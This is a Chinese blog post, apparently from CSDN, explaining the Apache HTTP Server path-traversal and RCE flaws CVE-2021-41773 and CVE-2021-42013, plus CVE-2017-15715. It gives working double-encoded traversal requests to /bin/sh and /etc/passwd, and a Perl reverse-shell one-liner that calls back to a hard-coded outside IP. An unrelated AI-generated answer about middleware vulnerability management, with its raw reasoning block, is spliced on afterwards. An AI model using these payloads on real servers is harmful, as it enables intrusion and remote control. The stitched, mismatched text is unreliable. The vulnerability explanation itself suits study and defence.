Apache-RCE、目录遍历漏洞、文件解析

文章讲述了ApacheHTTPServer的两个安全漏洞:CVE-2021-42013允许远程代码执行,通过二次URL编码绕过检测;CVE-2021-41773是路径穿越漏洞,可用于文件读取和潜在命令执行。详述了漏洞原理、POC示例和攻击利用方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

8cbb9842a42a4722058e93ed80b98fd5.png

1、CVE-2021-42013(RCE)

介绍:

Apache HTTP Server 是美国阿帕奇(Apache)基金会的一款开源网页服务器。该服务器具有快速、可靠且可通过简单的 API 进行扩充的特点,发现 Apache HTTPServer 2.4.50 中针对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则这可能允许远程代码执行。

 影响版本:Apache2.4.49 和 Apache 2.4.50,而不影响更早版本。

1.1.poc信息

POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh 

构造这个路径原因如下:

首先看到有".%%32%65"这个字符串,字符串进行url解码一次后得到".%2e",再进行解码一次后得到"..",因此实际路径为"/cgi-bin/../../../../bin/bh",

这里先讲讲CVE-2021-41773原因:

Apache HTTP Server 2.4.49版本使用的ap_normalize_path函数在对路径参数进行规范化时会先进行url解码,然后判断是否存在"../"的路径穿越符。但是奇怪就奇怪在"%2e./"能检测出来,但是".%2e/"不行,通过查找资料可知,在进行验证时,开发者只考虑了"."后面有没有"/",并没有考虑" "所以造成了该漏洞。

而CVE-2021-42013是修复了对".%2e/"的检测,但是在处理外部HTTP请求时,会调用 ap_process_request_internal函数对url路径进行处理,在该函数中,首先会调用ap_normalize_path函数进行一次url解码,之后会调用ap_unescape_url函数进行二次解码。因而二次url编码即可绕过检测。

echo;perl -e 'use 
Socket;$i="47.94.236.117";$p=5566;socket(S,PF_INET,SOCK_STREAM,ge
tprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/b
in/sh -i");};' 

 1.2.攻击利用

efca519babc6427c889899e5cb57fe7a.png

2、CVE-2021-41773(路径穿越)

 介绍:

Apache HTTP Server 2.4.49、2.4.50 版本对路径规范化所做的更改中存在一个路径穿越漏洞,攻击者可利用该漏洞读取到 Web 目录外的其他文件,如系统配置文件、网站源码等,甚至在特定情况下,攻击者可构造恶意请求执行命令,控制服务器。

2.1.poc信息

/icons/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd

2.2.攻击利用

fa4c6a3d89a140aaaf3aed628dfdb0a7.png

注意:必须在burpsuit进行Get传参,这样就不会被浏览器解析它的url编码更改后面的文件就能造成任意文件读取。

3、CVE-2017-15715(文件解析)

介绍:

Apache HTTPD 是一款 HTTP 服务器。其 2.4.0~2.4.29 版本存在一个解析漏洞,在解

析 PHP 时,1.php\x0A 将被按照 PHP 后缀进行解析,导致绕过一些服务器的安全策

略。

71da32e4b71c4d18836b5fbedd4a21a0.png

 

 

 

 

 

<think>好的,用户想要了解如何将中间件漏洞检测或管理系统集成到一个系统中。我需要先理解中间件漏洞管理的基本流程,然后考虑系统集成的方法。 首先,中间件漏洞管理通常包括漏洞扫描、修复验证、持续监控这几个步骤。用户可能希望将这些步骤自动化,并集成到一个统一的平台里。根据引用中的例子,比如Weblogic的漏洞修复需要修改组件或配置文件,这可能涉及到配置管理的问题。 接下来,系统集成需要考虑模块化设计。可能需要漏洞扫描引擎,比如集成现有的工具如Nessus或OpenVAS,或者开发自定义扫描器。然后,配置管理模块需要能自动识别中间件的配置,比如引用提到的httpd.conf中的配置修改,系统需要能自动检测这些配置是否符合安全标准。 自动化修复方面,用户可能希望系统能自动应用修复措施,比如替换有漏洞的组件或修改配置文件。但需要注意自动化修复的风险,可能需要人工审核。持续监控模块需要实时监控中间件的状态,结合威胁情报及时更新漏洞库,如MS15-034这样的漏洞需要及时识别。 集成到现有系统中,可能需要通过API或Webhook与已有的运维平台对接,比如Jenkins或Kubernetes。权限管理也很重要,确保系统有足够的权限执行扫描和修复,但又要避免权限过高带来的风险。日志和审计功能可以记录所有操作,方便追踪和合规。 在技术选型方面,可能需要使用Python或Go来开发系统,利用现有框架如Django或Flask。数据库方面,MySQL或MongoDB适合存储漏洞数据。部署时,Docker容器化可以方便扩展,Kubernetes适合集群管理。 不过,用户可能没有提到的需求包括如何处理误报,如何平衡自动修复和系统稳定性,以及如何更新漏洞特征库。此外,权限提升可能带来的安全问题也需要考虑,比如密钥管理。最后,系统的可扩展性,是否支持不同的中间件类型,比如Weblogic、Apache、IIS等,这些都是需要考虑的因素。 总结下来,集成系统需要模块化设计,自动化流程,与现有工具链的整合,以及安全可靠的权限和日志管理。同时,需要考虑实际部署中的技术选型和潜在挑战,比如误报处理和更新机制。</think>### 如何将中间件漏洞检测与管理系统集成? #### 一、核心流程设计 1. **漏洞扫描引擎集成** - 通过调用开源工具(如Nessus、OpenVAS)或自研扫描器,实现中间件配置与版本检测。 - 示例:检测WebLogic的`uddiexplorer.war`组件是否存在[^1],或Apache的`httpd.conf`中`Options`参数是否包含`+Indexes`[^2]。 - 技术实现: ```python import subprocess def scan_middleware(target_url): # 调用Nessus API或自定义脚本 result = subprocess.run(["nessuscli", "scan", target_url], capture_output=True) return parse_vulnerabilities(result.stdout) ``` 2. **配置管理模块** - 自动解析中间件配置文件(如`httpd.conf`、`weblogic.xml`),识别高风险配置。 - 示例:自动将`Options +Indexes`修改为`Options -Indexes`[^2]。 3. **自动化修复与验证** - 根据漏洞类型执行修复操作(如组件替换、配置更新),并通过回归测试验证修复效果。 - 示例:修复WebLogic漏洞时,移除`uddiexplorer.war`或限制其访问权限[^1]。 #### 二、系统架构集成 1. **模块化设计** ```plaintext +-------------------+ +-------------------+ +-------------------+ | 漏洞扫描引擎 | --> | 配置管理模块 | --> | 自动化修复模块 | +-------------------+ +-------------------+ +-------------------+ ↓ ↓ ↓ +-------------------+ +-------------------+ +-------------------+ | 持续监控与告警 | <-- | 日志与审计系统 | <-- | 权限管理模块 | +-------------------+ +-------------------+ +-------------------+ ``` 2. **API与现有系统对接** - 通过REST API与DevOps工具链(如Jenkins、Kubernetes)集成,实现漏洞修复流程自动化。 - 示例:在CI/CD流水线中加入中间件扫描步骤。 3. **权限与安全控制** - 采用最小权限原则,限制系统对生产环境的修改权限。 - 关键操作需二次确认(如自动修复前发送审批请求)。 #### 三、关键技术实现 1. **漏洞特征库构建** - 整合CVE、CNVD等公开漏洞库,结合自定义规则(如正则表达式匹配配置错误)。 - 示例规则: ```regex Options\s+\+Indexes # 检测Apache目录遍历风险 ``` 2. **实时监控与告警** - 通过日志分析(如ELK栈)或Agent探针,实时监控中间件状态。 - 发现异常行为(如未经授权的`SearchPublicRegistries.jsp`访问)时触发告警。 3. **修复策略模板化** - 为常见漏洞预定义修复方案: ```yaml - name: weblogic_ssrf action: type: "component_removal" target: "/u01/app/weblogic/uddiexplorer.war" backup: true ``` #### 四、部署与运维 1. **容器化部署** - 使用Docker封装扫描引擎与管理系统,通过Kubernetes实现弹性扩展。 - 示例部署文件: ```dockerfile FROM python:3.9 COPY vulnerability_scanner.py /app/ RUN pip install requests nessus-rest CMD ["python", "/app/vulnerability_scanner.py"] ``` 2. **灰度发布与回滚** - 先对测试环境应用修复策略,验证通过后再同步到生产环境。 - 保留修复前的快照(如VM镜像、配置备份),支持一键回滚。 #### 五、挑战与解决方案 1. **误报率控制** - 通过机器学习模型(如基于历史数据的决策树)优化漏洞判定逻辑。 - 人工审核高风险漏洞(如SSRF、RCE)。 2. **兼容性问题** - 为不同中间件(WebLogic、Apache、Nginx)开发适配器,抽象统一接口。 - 示例兼容性测试矩阵: | 中间件类型 | 配置文件解析 | 自动修复支持 | |------------|--------------|--------------| | WebLogic | ✔️ | ✔️ | | Apache | ✔️ | ✔️ | --- ###
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

B10SS0MS

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值